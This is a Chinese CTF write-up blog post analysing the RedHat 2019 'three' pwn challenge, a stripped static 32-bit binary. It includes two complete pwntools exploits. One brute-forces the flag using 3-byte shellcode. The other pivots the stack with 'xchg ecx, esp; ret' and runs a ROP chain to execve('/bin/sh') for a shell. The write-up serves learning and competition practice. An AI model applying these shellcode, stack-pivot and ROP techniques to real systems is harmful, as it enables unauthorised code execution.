This page looks best with JavaScript enabled

RedHat2019 three@Pwn 深度剖析

 ·  ☕ 5 min read · 👀... views

刚刚参加了红帽杯,题目质量很高,但是由于本人实在太菜,只做出了pwn最简单的一题。因为这题给我带来的启发很大,同时有非预期解,特此记录
题目链接: https://pan.baidu.com/s/1UbIWUl-NTu2m9Wk7FGEuXw 提取码: trc3

0x00 题目分析

拿到题目,先checksec检查护盾,发现只开启了NX保护。拖入IDA分析,可以看到是一道静态编译的题目,并且删除了符号表。然后就开始了无人性的手填函数名…(后来zhz师傅告诉我之前0rays的一题和这道几乎一样,但是没有删除符号表)这里对填符号表的过程不多解释,主要凭经(瞎)验(猜)。下面附上填好后的图。
re
re
re
re

这题填符号绝对是一大难点,填出符号就成功一半了。可以看到,这题一开始第一个函数就把flag读到了bss段上,一般来说,就确定了这道题要么是泄露,要么是爆破(但后面还是有非预期拿shell的)。但是在第二个函数中,又把flag复制到了堆上,然后将bss上的flag清空了,并填充上了一堆乱七八糟的字符串。在第三个函数中,申请了一个满权限的堆,但是只允许向其读入3字节。后面将这个mmap分配的内存空间赋值给了一个函数指针并将其当作函数执行。可以看到,图上这个oneby_flag,也就是图四中的result,是由flag在内存空间中的起始地址加上我们输入的值的合这一内存指针做取值操作,并且对我们输入的值做了判断只能在[0,31]之间,然后后面会将oneby_flag这一值与一个变量做判断,相同输出1,否则输出2。这时其实就已经能推断出了这题的本意就是爆破,并且flag的长度为32,oneby_flag就是flag的一位,我们需要控制v4的值来一位一位的爆破出flag。

0x01 爆破

分析到这里,题目思路大致就出来了,我们需要想办法枚举v4变量,也就是heap函数的返回值,从而实现爆破。那heap函数怎么写,也就是堆中的那三字节怎么写成为了解决此问题的关键。我们知道调用函数其实就是 call eax 的过程,然后这个mmap所分配的空间是具有可执行权限的,那么也就是说,我们只需要向其中写入三字节的shellcode就可以通过 call eax 指令跳过去执行我们所输入的shellcode。

在32位程序中,函数的传参是直接的将参数布置在栈上,然后在函数调用的过程中会一个一个的pop到对应的寄存器中去。在压栈的过程中,会先压最后一个参数,然后倒数第二个、倒数第三个….依次类推。也就是此时的栈结构,和esp(栈顶指针)偏移最小的是第一个参数、第二个参数…以此类推,最后一个参数和esp的偏移最大,和ebp的偏移最小。 然后在函数体内部,函数会从esp至ebp,将参数依次的pop入ebx、ecx、edx… 明白这个传参原理后,就可以知道,在执行完 read(0, &unk_80F6CC0, v1 - 1); 语句后,对应的寄存器内的值应为:

# read(0, &unk_80F6CC0, v1 - 1);
ebx = 0
ecx = &unk_80F6CC0
edx = v1 - 1

可以看到,&unk_80F6CC0是我们所输入的值,那我们可以写shellcode为 mov eax,dword ptr[ecx];ret (编译后刚好三字节) ,这样就可以将ecx的值赋给eax。然后eax就是函数的返回值,这样就等于将我们所输入的值赋给了v4,然后就可以实行爆破,下面附上exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

def blast(index, value):
    p = process("./pwn")
    # p=remote("47.104.190.38", 12001)
    p.sendlineafter("Give me a index:\n",str(index))
    shellcode = asm("mov eax,dword ptr[ecx];ret")
    p.sendafter("Three is good number,I like it very much!\n",shellcode)
    p.sendlineafter('Leave you name of size:\n','2')
    p.sendafter("Tell me:\n",p8(value))
    tmp= p.recvuntil('\n')
    p.close()
    if '1' in tmp:
        print 'true'
        return True
    else:
        return False

idx=0
flag=''
while "}" not in flag:
	for i in range(256):
		if blast(idx,i):
			idx+=1
			flag+=chr(i)
			print flag
			break
print flag

然后这两天,和一位师傅交流时发现,这题还可以用edx爆破,这个姿势很骚,甚至不需要用到第四次输入。可以看到,执行完read函数后,edx内的值为v1 - 1,v1的值是由第三次输入控制的,且限制值的区间在[0,512],那可以枚举这个值,然后写shellcode为 push edx;pop eax;ret 同样可以实现爆破。

0x02 非预期

这个非预期解法是星盟的Ex师傅给出的题解,超出我的认知,因此在这里记录。从第一张图上可以看到,v1变量是由我们自己输入的,并在后面用于控制read的长度,且不得大与512,但512已经是一个不小的长度了,可以做很多事了。Ex师傅非预期解法的关键在于shellcode用了 xchg ecx, esp;ret 指令,xchg指令可用于交换两个值,在这里运行了这条指令,等于将esp的值变为了&unk_80F6CC0,而&unk_80F6CC0是我们第四次输入的首地址,紧跟着的ret指令,会将EIP指向栈顶的第一个元素的值。等于,通过这条指令,完成了栈迁移,我们只需要在第四次输入时,布置好ROP链,然后栈迁移后,通过ROP链执行execve进行getshell。

下面附上大师傅的exp(看着逼格就很高)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os,struct,random,time,sys,signal


def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols* /tmp/gdb_pid /tmp/gdb_script')
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)



# context.arch = 'amd64'
context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './pwn'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols.so'})
sh = process(execve_file)
# sh = remote('47.104.190.38', 12001)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    b *0x8048c5b
    '''

    f = open('/tmp/gdb_pid', 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script', 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    pass

sh.sendlineafter('index:\n', str(0))
# pause()
payload = asm('''
xchg ecx, esp
ret
''')
sh.sendafter(' much!\n', payload)
sh.sendlineafter('size:\n', str(0x1ff))
# pause()
layout = [
    0x08072fb1, #: pop edx; pop ecx; pop ebx; ret; 
    0,
    0,
    0x8049903,
    0x080c11e6, #: pop eax; ret; 
    11,
    0x08049903, #: int 0x80; ret; 
]
input()
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()
clear()
Share on

Qfrost
WRITTEN BY
Qfrost
CTFer, Anti-Cheater, LLVM Committer